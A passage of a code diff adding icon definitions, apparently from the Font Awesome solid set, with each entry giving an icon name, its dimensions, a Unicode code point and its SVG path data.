9.4-24.59.1-33.99zm-297.02-90.7c-79.54 0-144-64.34-144-143.98 0-79.53 64.35-143.98 144-143.98 79.54 0 144 64.34 144 143.98 0 79.53-64.35 143.98-144 143.98zm.02-239.96c-40.78 0-73.84 33.05-73.84 73.83 0 32.96 48.26 93.05 66.75 114.86a9.24 9.24 0 0 0 14.18 0c18.49-21.81 66.75-81.89 66.75-114.86 0-40.78-33.06-73.83-73.84-73.83zm0 96c-13.26 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24z" ], + "search-minus": [ 512, 512, [], "f010", "M304 192v32c0 6.6-5.4 12-12 12H124c-6.6 0-12-5.4-12-12v-32c0-6.6 5.4-12 12-12h168c6.6 0 12 5.4 12 12zm201 284.7L476.7 505c-9.4 9.4-24.6 9.4-33.9 0L343 405.3c-4.5-4.5-7-10.6-7-17V372c-35.3 27.6-79.7 44-128 44C93.1 416 0 322.9 0 208S93.1 0 208 0s208 93.1 208 208c0 48.3-16.4 92.7-44 128h16.3c6.4 0 12.5 2.5 17 7l99.7 99.7c9.3 9.4 9.3 24.6 0 34zM344 208c0-75.2-60.8-136-136-136S72 132.8 72 208s60.8 136 136 136 136-60.8 136-136z" ], + "search-plus": [ 512, 512, [], "f00e", "M304 192v32c0 6.6-5.4 12-12 12h-56v56c0 6.6-5.4 12-12 12h-32c-6.6 0-12-5.4-12-12v-56h-56c-6.6 0-12-5.4-12-12v-32c0-6.6 5.4-12 12-12h56v-56c0-6.6 5.4-12 12-12h32c6.6 0 12 5.4 12 12v56h56c6.6 0 12 5.4 12 12zm201 284.7L476.7 505c-9.4 9.4-24.6 9.4-33.9 0L343 405.3c-4.5-4.5-7-10.6-7-17V372c-35.3 27.6-79.7 44-128 44C93.1 416 0 322.9 0 208S93.1 0 208 0s208 93.1 208 208c0 48.3-16.4 92.7-44 128h16.3c6.4 0 12.5 2.5 17 7l99.7 99.7c9.3 9.4 9.3 24.6 0 34zM344 208c0-75.2-60.8-136-136-136S72 132.8 72 208s60.8 136 136 136 136-60.8 136-136z" ], + seedling: [ 512, 512, [], "f4d8", "M64 96H0c0 123.7 100.3 224 224 224v144c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320C288 196.3 187.7 96 64 96zm384-64c-84.2 0-157.4 46.5-195.7 115.2 27.7 30.2 48.2 66.9 59 107.6C424 243.1 512 147.9 512 32h-64z" ], + server: [ 512, 512, [], "f233", "M480 160H32c-17.673 0-32-14.327-32-32V64c0-17.673 14.327-32 32-32h448c17.673 0 32 14.327 32 32v64c0 17.673-14.327 32-32 32zm-48-88c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24zm-64 0c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24zm112 248H32c-17.673 0-32-14.327-32-32v-64c0-17.673 14.327-32 32-32h448c17.673 0 32 14.327 32 32v64c0 17.673-14.327 32-32 32zm-48-88c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24zm-64 0c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24zm112 248H32c-17.673 0-32-14.327-32-32v-64c0-17.673 14.327-32 32-32h448c17.673 0 32 14.327 32 32v64c0 17.673-14.327 32-32 32zm-48-88c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24zm-64 0c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24z" ], + shapes: [ 512, 512, [], "f61f", "M128,256A128,128,0,1,0,256,384,128,128,0,0,0,128,256Zm379-54.86L400.07,18.29a37.26,37.26,0,0,0-64.14,0L229,201.14C214.76,225.52,232.58,256,261.09,256H474.91C503.42,256,521.24,225.52,507,201.14ZM480,288H320a32,32,0,0,0-32,32V480a32,32,0,0,0,32,32H480a32,32,0,0,0,32-32V320A32,32,0,0,0,480,288Z" ], + share: [ 512, 512, [], "f064", "M503.691 189.836L327.687 37.851C312.281 24.546 288 35.347 288 56.015v80.053C127.371 137.907 0 170.1 0 322.326c0 61.441 39.581 122.309 83.333 154.132 13.653 9.931 33.111-2.533 28.077-18.631C66.066 312.814 132.917 274.316 288 272.085V360c0 20.7 24.3 31.453 39.687 18.164l176.004-152c11.071-9.562 11.086-26.753 0-36.328z" ], + "share-alt": [ 448, 512, [], "f1e0", "M352 320c-22.608 0-43.387 7.819-59.79 20.895l-102.486-64.054a96.551 96.551 0 0 0 0-41.683l102.486-64.054C308.613 184.181 329.392 192 352 192c53.019 0 96-42.981 96-96S405.019 0 352 0s-96 42.981-96 96c0 7.158.79 14.13 2.276 20.841L155.79 180.895C139.387 167.819 118.608 160 96 160c-53.019 0-96 42.981-96 96s42.981 96 96 96c22.608 0 43.387-7.819 59.79-20.895l102.486 64.054A96.301 96.301 0 0 0 256 416c0 53.019 42.981 96 96 96s96-42.981 96-96-42.981-96-96-96z" ], + "share-alt-square": [ 448, 512, [], "f1e1", "M448 80v352c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h352c26.51 0 48 21.49 48 48zM304 296c-14.562 0-27.823 5.561-37.783 14.671l-67.958-40.775a56.339 56.339 0 0 0 0-27.793l67.958-40.775C276.177 210.439 289.438 216 304 216c30.928 0 56-25.072 56-56s-25.072-56-56-56-56 25.072-56 56c0 4.797.605 9.453 1.74 13.897l-67.958 40.775C171.823 205.561 158.562 200 144 200c-30.928 0-56 25.072-56 56s25.072 56 56 56c14.562 0 27.823-5.561 37.783-14.671l67.958 40.775a56.088 56.088 0 0 0-1.74 13.897c0 30.928 25.072 56 56 56s56-25.072 56-56C360 321.072 334.928 296 304 296z" ], + "share-square": [ 576, 512, [], "f14d", "M568.482 177.448L424.479 313.433C409.3 327.768 384 317.14 384 295.985v-71.963c-144.575.97-205.566 35.113-164.775 171.353 4.483 14.973-12.846 26.567-25.006 17.33C155.252 383.105 120 326.488 120 269.339c0-143.937 117.599-172.5 264-173.312V24.012c0-21.174 25.317-31.768 40.479-17.448l144.003 135.988c10.02 9.463 10.028 25.425 0 34.896zM384 379.128V448H64V128h50.916a11.99 11.99 0 0 0 8.648-3.693c14.953-15.568 32.237-27.89 51.014-37.676C185.708 80.83 181.584 64 169.033 64H48C21.49 64 0 85.49 0 112v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48v-88.806c0-8.288-8.197-14.066-16.011-11.302a71.83 71.83 0 0 1-34.189 3.377c-7.27-1.046-13.8 4.514-13.8 11.859z" ], + "shekel-sign": [ 448, 512, [], "f20b", "M248 168v168c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16V168c0-75.11-60.89-136-136-136H24C10.75 32 0 42.74 0 56v408c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16V112h112c30.93 0 56 25.07 56 56zM432 32h-48c-8.84 0-16 7.16-16 16v296c0 30.93-25.07 56-56 56H200V176c0-8.84-7.16-16-16-16h-48c-8.84 0-16 7.16-16 16v280c0 13.25 10.75 24 24 24h168c75.11 0 136-60.89 136-136V48c0-8.84-7.16-16-16-16z" ], + "shield-alt": [ 512, 512, [], "f3ed", "M466.5 83.7l-192-80a48.15 48.15 0 0 0-36.9 0l-192 80C27.7 91.1 16 108.6 16 128c0 198.5 114.5 335.7 221.5 380.3 11.8 4.9 25.1 4.9 36.9 0C360.1 472.6 496 349.3 496 128c0-19.4-11.7-36.9-29.5-44.3zM256.1 446.3l-.1-381 175.9 73.3c-3.3 151.4-82.1 261.1-175.8 307.7z" ], + "shield-virus": [ 512, 512, [], "e06c", "M224,192a16,16,0,1,0,16,16A16,16,0,0,0,224,192ZM466.5,83.68l-192-80A57.4,57.4,0,0,0,256.05,0a57.4,57.4,0,0,0-18.46,3.67l-192,80A47.93,47.93,0,0,0,16,128C16,326.5,130.5,463.72,237.5,508.32a48.09,48.09,0,0,0,36.91,0C360.09,472.61,496,349.3,496,128A48,48,0,0,0,466.5,83.68ZM384,256H371.88c-28.51,0-42.79,34.47-22.63,54.63l8.58,8.57a16,16,0,1,1-22.63,22.63l-8.57-8.58C306.47,313.09,272,327.37,272,355.88V368a16,16,0,0,1-32,0V355.88c0-28.51-34.47-42.79-54.63-22.63l-8.57,8.58a16,16,0,0,1-22.63-22.63l8.58-8.57c20.16-20.16,5.88-54.63-22.63-54.63H128a16,16,0,0,1,0-32h12.12c28.51,0,42.79-34.47,22.63-54.63l-8.58-8.57a16,16,0,0,1,22.63-22.63l8.57,8.58c20.16,20.16,54.63,5.88,54.63-22.63V112a16,16,0,0,1,32,0v12.12c0,28.51,34.47,42.79,54.63,22.63l8.57-8.58a16,16,0,0,1,22.63,22.63l-8.58,8.57C329.09,189.53,343.37,224,371.88,224H384a16,16,0,0,1,0,32Zm-96,0a16,16,0,1,0,16,16A16,16,0,0,0,288,256Z" ], + ship: [ 640, 512, [], "f21a", "M496.616 372.639l70.012-70.012c16.899-16.9 9.942-45.771-12.836-53.092L512 236.102V96c0-17.673-14.327-32-32-32h-64V24c0-13.255-10.745-24-24-24H248c-13.255 0-24 10.745-24 24v40h-64c-17.673 0-32 14.327-32 32v140.102l-41.792 13.433c-22.753 7.313-29.754 36.173-12.836 53.092l70.012 70.012C125.828 416.287 85.587 448 24 448c-13.255 0-24 10.745-24 24v16c0 13.255 10.745 24 24 24 61.023 0 107.499-20.61 143.258-59.396C181.677 487.432 216.021 512 256 512h128c39.979 0 74.323-24.568 88.742-59.396C508.495 491.384 554.968 512 616 512c13.255 0 24-10.745 24-24v-16c0-13.255-10.745-24-24-24-60.817 0-101.542-31.001-119.384-75.361zM192 128h256v87.531l-118.208-37.995a31.995 31.995 0 0 0-19.584 0L192 215.531V128z" ], + "shipping-fast": [ 640, 512, [], "f48b", "M624 352h-16V243.9c0-12.7-5.1-24.9-14.1-33.9L494 110.1c-9-9-21.2-14.1-33.9-14.1H416V48c0-26.5-21.5-48-48-48H112C85.5 0 64 21.5 64 48v48H8c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8h272c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H40c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8h208c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H8c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8h208c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H64v128c0 53 43 96 96 96s96-43 96-96h128c0 53 43 96 96 96s96-43 96-96h48c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zM160 464c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm320 0c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm80-208H416V144h44.1l99.9 99.9V256z" ], + "shoe-prints": [ 640, 512, [], "f54b", "M192 160h32V32h-32c-35.35 0-64 28.65-64 64s28.65 64 64 64zM0 416c0 35.35 28.65 64 64 64h32V352H64c-35.35 0-64 28.65-64 64zm337.46-128c-34.91 0-76.16 13.12-104.73 32-24.79 16.38-44.52 32-104.73 32v128l57.53 15.97c26.21 7.28 53.01 13.12 80.31 15.05 32.69 2.31 65.6.67 97.58-6.2C472.9 481.3 512 429.22 512 384c0-64-84.18-96-174.54-96zM491.42 7.19C459.44.32 426.53-1.33 393.84.99c-27.3 1.93-54.1 7.77-80.31 15.04L256 32v128c60.2 0 79.94 15.62 104.73 32 28.57 18.88 69.82 32 104.73 32C555.82 224 640 192 640 128c0-45.22-39.1-97.3-148.58-120.81z" ], + "shopping-bag": [ 448, 512, [], "f290", "M352 160v-32C352 57.42 294.579 0 224 0 153.42 0 96 57.42 96 128v32H0v272c0 44.183 35.817 80 80 80h288c44.183 0 80-35.817 80-80V160h-96zm-192-32c0-35.29 28.71-64 64-64s64 28.71 64 64v32H160v-32zm160 120c-13.255 0-24-10.745-24-24s10.745-24 24-24 24 10.745 24 24-10.745 24-24 24zm-192 0c-13.255 0-24-10.745-24-24s10.745-24 24-24 24 10.745 24 24-10.745 24-24 24z" ], + "shopping-basket": [ 576, 512, [], "f291", "M576 216v16c0 13.255-10.745 24-24 24h-8l-26.113 182.788C514.509 462.435 494.257 480 470.37 480H105.63c-23.887 0-44.139-17.565-47.518-41.212L32 256h-8c-13.255 0-24-10.745-24-24v-16c0-13.255 10.745-24 24-24h67.341l106.78-146.821c10.395-14.292 30.407-17.453 44.701-7.058 14.293 10.395 17.453 30.408 7.058 44.701L170.477 192h235.046L326.12 82.821c-10.395-14.292-7.234-34.306 7.059-44.701 14.291-10.395 34.306-7.235 44.701 7.058L484.659 192H552c13.255 0 24 10.745 24 24zM312 392V280c0-13.255-10.745-24-24-24s-24 10.745-24 24v112c0 13.255 10.745 24 24 24s24-10.745 24-24zm112 0V280c0-13.255-10.745-24-24-24s-24 10.745-24 24v112c0 13.255 10.745 24 24 24s24-10.745 24-24zm-224 0V280c0-13.255-10.745-24-24-24s-24 10.745-24 24v112c0 13.255 10.745 24 24 24s24-10.745 24-24z" ], + "shopping-cart": [ 576, 512, [], "f07a", "M528.12 301.319l47.273-208C578.806 78.301 567.391 64 551.99 64H159.208l-9.166-44.81C147.758 8.021 137.93 0 126.529 0H24C10.745 0 0 10.745 0 24v16c0 13.255 10.745 24 24 24h69.883l70.248 343.435C147.325 417.1 136 435.222 136 456c0 30.928 25.072 56 56 56s56-25.072 56-56c0-15.674-6.447-29.835-16.824-40h209.647C430.447 426.165 424 440.326 424 456c0 30.928 25.072 56 56 56s56-25.072 56-56c0-22.172-12.888-41.332-31.579-50.405l5.517-24.276c3.413-15.018-8.002-29.319-23.403-29.319H218.117l-6.545-32h293.145c11.206 0 20.92-7.754 23.403-18.681z" ], + shower: [ 512, 512, [], "f2cc", "M304,320a16,16,0,1,0,16,16A16,16,0,0,0,304,320Zm32-96a16,16,0,1,0,16,16A16,16,0,0,0,336,224Zm32,64a16,16,0,1,0-16-16A16,16,0,0,0,368,288Zm-32,32a16,16,0,1,0-16-16A16,16,0,0,0,336,320Zm-32-64a16,16,0,1,0,16,16A16,16,0,0,0,304,256Zm128-32a16,16,0,1,0-16-16A16,16,0,0,0,432,224Zm-48,16a16,16,0,1,0,16-16A16,16,0,0,0,384,240Zm-16-48a16,16,0,1,0,16,16A16,16,0,0,0,368,192Zm96,32a16,16,0,1,0,16,16A16,16,0,0,0,464,224Zm32-32a16,16,0,1,0,16,16A16,16,0,0,0,496,192Zm-64,64a16,16,0,1,0,16,16A16,16,0,0,0,432,256Zm-32,32a16,16,0,1,0,16,16A16,16,0,0,0,400,288Zm-64,64a16,16,0,1,0,16,16A16,16,0,0,0,336,352Zm-32,32a16,16,0,1,0,16,16A16,16,0,0,0,304,384Zm64-64a16,16,0,1,0,16,16A16,16,0,0,0,368,320Zm21.65-218.35-11.3-11.31a16,16,0,0,0-22.63,0L350.05,96A111.19,111.19,0,0,0,272,64c-19.24,0-37.08,5.3-52.9,13.85l-10-10A121.72,121.72,0,0,0,123.44,32C55.49,31.5,0,92.91,0,160.85V464a16,16,0,0,0,16,16H48a16,16,0,0,0,16-16V158.4c0-30.15,21-58.2,51-61.93a58.38,58.38,0,0,1,48.93,16.67l10,10C165.3,138.92,160,156.76,160,176a111.23,111.23,0,0,0,32,78.05l-5.66,5.67a16,16,0,0,0,0,22.62l11.3,11.31a16,16,0,0,0,22.63,0L389.65,124.28A16,16,0,0,0,389.65,101.65Z" ], + "shuttle-van": [ 640, 512, [], "f5b6", "M628.88 210.65L494.39 49.27A48.01 48.01 0 0 0 457.52 32H32C14.33 32 0 46.33 0 64v288c0 17.67 14.33 32 32 32h32c0 53.02 42.98 96 96 96s96-42.98 96-96h128c0 53.02 42.98 96 96 96s96-42.98 96-96h32c17.67 0 32-14.33 32-32V241.38c0-11.23-3.94-22.1-11.12-30.73zM64 192V96h96v96H64zm96 240c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm160-240h-96V96h96v96zm160 240c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm-96-240V96h66.02l80 96H384z" ], + sign: [ 512, 512, [], "f4d9", "M496 64H128V16c0-8.8-7.2-16-16-16H80c-8.8 0-16 7.2-16 16v48H16C7.2 64 0 71.2 0 80v32c0 8.8 7.2 16 16 16h48v368c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V128h368c8.8 0 16-7.2 16-16V80c0-8.8-7.2-16-16-16zM160 384h320V160H160v224z" ], + "sign-in-alt": [ 512, 512, [], "f2f6", "M416 448h-84c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h84c17.7 0 32-14.3 32-32V160c0-17.7-14.3-32-32-32h-84c-6.6 0-12-5.4-12-12V76c0-6.6 5.4-12 12-12h84c53 0 96 43 96 96v192c0 53-43 96-96 96zm-47-201L201 79c-15-15-41-4.5-41 17v96H24c-13.3 0-24 10.7-24 24v96c0 13.3 10.7 24 24 24h136v96c0 21.5 26 32 41 17l168-168c9.3-9.4 9.3-24.6 0-34z" ], + "sign-language": [ 448, 512, [], "f2a7", "M91.434 483.987c-.307-16.018 13.109-29.129 29.13-29.129h62.293v-5.714H56.993c-16.021 0-29.437-13.111-29.13-29.129C28.16 404.491 40.835 392 56.428 392h126.429v-5.714H29.136c-16.021 0-29.437-13.111-29.13-29.129.297-15.522 12.973-28.013 28.566-28.013h154.286v-5.714H57.707c-16.021 0-29.437-13.111-29.13-29.129.297-15.522 12.973-28.013 28.566-28.013h168.566l-31.085-22.606c-12.762-9.281-15.583-27.149-6.302-39.912 9.281-12.761 27.15-15.582 39.912-6.302l123.361 89.715a34.287 34.287 0 0 1 14.12 27.728v141.136c0 15.91-10.946 29.73-26.433 33.374l-80.471 18.934a137.16 137.16 0 0 1-31.411 3.646H120c-15.593-.001-28.269-12.492-28.566-28.014zm73.249-225.701h36.423l-11.187-8.136c-18.579-13.511-20.313-40.887-3.17-56.536l-13.004-16.7c-9.843-12.641-28.43-15.171-40.88-5.088-12.065 9.771-14.133 27.447-4.553 39.75l36.371 46.71zm283.298-2.103l-5.003-152.452c-.518-15.771-13.722-28.136-29.493-27.619-15.773.518-28.137 13.722-27.619 29.493l1.262 38.415L283.565 11.019c-9.58-12.303-27.223-14.63-39.653-5.328-12.827 9.599-14.929 28.24-5.086 40.881l76.889 98.745-4.509 3.511-94.79-121.734c-9.58-12.303-27.223-14.63-39.653-5.328-12.827 9.599-14.929 28.24-5.086 40.881l94.443 121.288-4.509 3.511-77.675-99.754c-9.58-12.303-27.223-14.63-39.653-5.328-12.827 9.599-14.929 28.24-5.086 40.881l52.053 66.849c12.497-8.257 29.055-8.285 41.69.904l123.36 89.714c10.904 7.93 17.415 20.715 17.415 34.198v16.999l61.064-47.549a34.285 34.285 0 0 0 13.202-28.177z" ], + "sign-out-alt": [ 512, 512, [], "f2f5", "M497 273L329 441c-15 15-41 4.5-41-17v-96H152c-13.3 0-24-10.7-24-24v-96c0-13.3 10.7-24 24-24h136V88c0-21.4 25.9-32 41-17l168 168c9.3 9.4 9.3 24.6 0 34zM192 436v-40c0-6.6-5.4-12-12-12H96c-17.7 0-32-14.3-32-32V160c0-17.7 14.3-32 32-32h84c6.6 0 12-5.4 12-12V76c0-6.6-5.4-12-12-12H96c-53 0-96 43-96 96v192c0 53 43 96 96 96h84c6.6 0 12-5.4 12-12z" ], + signal: [ 640, 512, [], "f012", "M216 288h-48c-8.84 0-16 7.16-16 16v192c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16V304c0-8.84-7.16-16-16-16zM88 384H40c-8.84 0-16 7.16-16 16v96c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16v-96c0-8.84-7.16-16-16-16zm256-192h-48c-8.84 0-16 7.16-16 16v288c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16V208c0-8.84-7.16-16-16-16zm128-96h-48c-8.84 0-16 7.16-16 16v384c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16V112c0-8.84-7.16-16-16-16zM600 0h-48c-8.84 0-16 7.16-16 16v480c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16V16c0-8.84-7.16-16-16-16z" ], + signature: [ 640, 512, [], "f5b7", "M623.2 192c-51.8 3.5-125.7 54.7-163.1 71.5-29.1 13.1-54.2 24.4-76.1 24.4-22.6 0-26-16.2-21.3-51.9 1.1-8 11.7-79.2-42.7-76.1-25.1 1.5-64.3 24.8-169.5 126L192 182.2c30.4-75.9-53.2-151.5-129.7-102.8L7.4 116.3C0 121-2.2 130.9 2.5 138.4l17.2 27c4.7 7.5 14.6 9.7 22.1 4.9l58-38.9c18.4-11.7 40.7 7.2 32.7 27.1L34.3 404.1C27.5 421 37 448 64 448c8.3 0 16.5-3.2 22.6-9.4 42.2-42.2 154.7-150.7 211.2-195.8-2.2 28.5-2.1 58.9 20.6 83.8 15.3 16.8 37.3 25.3 65.5 25.3 35.6 0 68-14.6 102.3-30 33-14.8 99-62.6 138.4-65.8 8.5-.7 15.2-7.3 15.2-15.8v-32.1c.2-9.1-7.5-16.8-16.6-16.2z" ], + "sim-card": [ 384, 512, [], "f7c4", "M0 64v384c0 35.3 28.7 64 64 64h256c35.3 0 64-28.7 64-64V128L256 0H64C28.7 0 0 28.7 0 64zm224 192h-64v-64h64v64zm96 0h-64v-64h32c17.7 0 32 14.3 32 32v32zm-64 128h64v32c0 17.7-14.3 32-32 32h-32v-64zm-96 0h64v64h-64v-64zm-96 0h64v64H96c-17.7 0-32-14.3-32-32v-32zm0-96h256v64H64v-64zm0-64c0-17.7 14.3-32 32-32h32v64H64v-32z" ], + sink: [ 512, 512, [], "e06d", "M32,416a96,96,0,0,0,96,96H384a96,96,0,0,0,96-96V384H32ZM496,288H400V256h64a16,16,0,0,0,16-16V224a16,16,0,0,0-16-16H384a32,32,0,0,0-32,32v48H288V96a32,32,0,0,1,64,0v16a16,16,0,0,0,16,16h32a16,16,0,0,0,16-16V96A96.16,96.16,0,0,0,300.87,1.86C255.29,10.71,224,53.36,224,99.79V288H160V240a32,32,0,0,0-32-32H48a16,16,0,0,0-16,16v16a16,16,0,0,0,16,16h64v32H16A16,16,0,0,0,0,304v32a16,16,0,0,0,16,16H496a16,16,0,0,0,16-16V304A16,16,0,0,0,496,288Z" ], + sitemap: [ 640, 512, [], "f0e8", "M128 352H32c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32zm-24-80h192v48h48v-48h192v48h48v-57.59c0-21.17-17.23-38.41-38.41-38.41H344v-64h40c17.67 0 32-14.33 32-32V32c0-17.67-14.33-32-32-32H256c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h40v64H94.41C73.23 224 56 241.23 56 262.41V320h48v-48zm264 80h-96c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32zm240 0h-96c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32z" ], + skating: [ 448, 512, [], "f7c5", "M400 0c-26.5 0-48 21.5-48 48s21.5 48 48 48 48-21.5 48-48-21.5-48-48-48zm0 448c-8.8 0-16 7.2-16 16s-7.2 16-16 16h-96c-8.8 0-16 7.2-16 16s7.2 16 16 16h96c26.5 0 48-21.5 48-48 0-8.8-7.2-16-16-16zm-282.2 8.6c-6.2 6.2-16.4 6.3-22.6 0l-67.9-67.9c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6l67.9 67.9c9.4 9.4 21.7 14 34 14s24.6-4.7 33.9-14c6.2-6.2 6.2-16.4 0-22.6s-16.4-6.3-22.7 0zm56.1-179.8l-93.7 93.7c-12.5 12.5-12.5 32.8 0 45.2 6.2 6.2 14.4 9.4 22.6 9.4s16.4-3.1 22.6-9.4l91.9-91.9-30.2-30.2c-5-5-9.4-10.7-13.2-16.8zM128 160h105.5l-20.1 17.2c-13.5 11.5-21.6 28.4-22.3 46.1-.7 17.8 6.1 35.2 18.7 47.7l78.2 78.2V432c0 17.7 14.3 32 32 32s32-14.3 32-32v-89.4c0-12.6-5.1-25-14.1-33.9l-61-61c.5-.4 1.2-.6 1.7-1.1l82.3-82.3c11.5-11.5 14.9-28.6 8.7-43.6-6.2-15-20.7-24.7-37-24.7H128c-17.7 0-32 14.3-32 32s14.3 32 32 32z" ], + skiing: [ 512, 512, [], "f7c9", "M432 96c26.5 0 48-21.5 48-48S458.5 0 432 0s-48 21.5-48 48 21.5 48 48 48zm73 356.1c-9.4-9.4-24.6-9.4-33.9 0-12.1 12.1-30.5 15.4-45.1 8.7l-135.8-70.2 49.2-73.8c12.7-19 10.2-44.5-6-60.6L293 215.7l-107-53.1c-2.9 19.9 3.4 40 17.7 54.4l75.1 75.2-45.9 68.8L35 258.7c-11.7-6-26.2-1.5-32.3 10.3-6.1 11.8-1.5 26.3 10.3 32.3l391.9 202.5c11.9 5.5 24.5 8.1 37.1 8.1 23.2 0 46-9 63-26 9.3-9.3 9.3-24.5 0-33.8zM120 91.6l-11.5 22.5c14.4 7.3 31.2 4.9 42.8-4.8l47.2 23.4c-.1.1-.1.2-.2.3l114.5 56.8 32.4-13 6.4 19.1c4 12.1 12.6 22 24 27.7l58.1 29c15.9 7.9 35 1.5 42.9-14.3 7.9-15.8 1.5-35-14.3-42.9l-52.1-26.1-17.1-51.2c-8.1-24.2-40.9-56.6-84.5-39.2l-81.2 32.5-62.5-31c.3-14.5-7.2-28.6-20.9-35.6l-11.1 21.7h-.2l-34.4-7c-1.8-.4-3.7.2-5 1.7-1.9 2.2-1.7 5.5.5 7.4l26.2 23z" ], + "skiing-nordic": [ 576, 512, [], "f7ca", "M336 96c26.5 0 48-21.5 48-48S362.5 0 336 0s-48 21.5-48 48 21.5 48 48 48zm216 320c-13.2 0-24 10.7-24 24 0 13.2-10.8 24-24 24h-69.5L460 285.6c11.7-4.7 20.1-16.2 20.1-29.6 0-17.7-14.3-32-32-32h-44L378 170.8c-12.5-25.5-35.5-44.2-61.8-50.9L245 98.7c-28.3-6.8-57.8-.5-80.8 17.1l-39.7 30.4c-14 10.7-16.7 30.8-5.9 44.9.7.9 1.7 1.3 2.4 2.1L66.9 464H24c-13.2 0-24 10.7-24 24s10.8 24 24 24h480c39.7 0 72-32.3 72-72 0-13.2-10.8-24-24-24zm-260.5 48h-96.9l43.1-91-22-13c-12.1-7.2-21.9-16.9-29.5-27.8L123.7 464H99.5l52.3-261.4c4.1-1 8.1-2.9 11.7-5.6l39.7-30.4c7.7-5.9 17.4-8 25.3-6.1l14.7 4.4-37.5 87.4c-12.6 29.5-1.3 64 26.3 80.3l85 50.2-25.5 81.2zm110.6 0h-43.6l23.6-75.5c5.9-20.8-2.9-43.1-21.6-54.4L299.3 298l31.3-78.3 20.3 41.4c8 16.3 24.9 26.9 43.1 26.9h33.3l-25.2 176z" ], + skull: [ 512, 512, [], "f54c", "M256 0C114.6 0 0 100.3 0 224c0 70.1 36.9 132.6 94.5 173.7 9.6 6.9 15.2 18.1 13.5 29.9l-9.4 66.2c-1.4 9.6 6 18.2 15.7 18.2H192v-56c0-4.4 3.6-8 8-8h16c4.4 0 8 3.6 8 8v56h64v-56c0-4.4 3.6-8 8-8h16c4.4 0 8 3.6 8 8v56h77.7c9.7 0 17.1-8.6 15.7-18.2l-9.4-66.2c-1.7-11.7 3.8-23 13.5-29.9C475.1 356.6 512 294.1 512 224 512 100.3 397.4 0 256 0zm-96 320c-35.3 0-64-28.7-64-64s28.7-64 64-64 64 28.7 64 64-28.7 64-64 64zm192 0c-35.3 0-64-28.7-64-64s28.7-64 64-64 64 28.7 64 64-28.7 64-64 64z" ], + "skull-crossbones": [ 448, 512, [], "f714", "M439.15 453.06L297.17 384l141.99-69.06c7.9-3.95 11.11-13.56 7.15-21.46L432 264.85c-3.95-7.9-13.56-11.11-21.47-7.16L224 348.41 37.47 257.69c-7.9-3.95-17.51-.75-21.47 7.16L1.69 293.48c-3.95 7.9-.75 17.51 7.15 21.46L150.83 384 8.85 453.06c-7.9 3.95-11.11 13.56-7.15 21.47l14.31 28.63c3.95 7.9 13.56 11.11 21.47 7.15L224 419.59l186.53 90.72c7.9 3.95 17.51.75 21.47-7.15l14.31-28.63c3.95-7.91.74-17.52-7.16-21.47zM150 237.28l-5.48 25.87c-2.67 12.62 5.42 24.85 16.45 24.85h126.08c11.03 0 19.12-12.23 16.45-24.85l-5.5-25.87c41.78-22.41 70-62.75 70-109.28C368 57.31 303.53 0 224 0S80 57.31 80 128c0 46.53 28.22 86.87 70 109.28zM280 112c17.65 0 32 14.35 32 32s-14.35 32-32 32-32-14.35-32-32 14.35-32 32-32zm-112 0c17.65 0 32 14.35 32 32s-14.35 32-32 32-32-14.35-32-32 14.35-32 32-32z" ], + slash: [ 640, 512, [], "f715", "M594.53 508.63L6.18 53.9c-6.97-5.42-8.23-15.47-2.81-22.45L23.01 6.18C28.43-.8 38.49-2.06 45.47 3.37L633.82 458.1c6.97 5.42 8.23 15.47 2.81 22.45l-19.64 25.27c-5.42 6.98-15.48 8.23-22.46 2.81z" ], + sleigh: [ 640, 512, [], "f7cc", "M612.7 350.7l-9.3-7.4c-6.9-5.5-17-4.4-22.5 2.5l-10 12.5c-5.5 6.9-4.4 17 2.5 22.5l9.3 7.4c5.9 4.7 9.2 11.7 9.2 19.2 0 13.6-11 24.6-24.6 24.6H48c-8.8 0-16 7.2-16 16v16c0 8.8 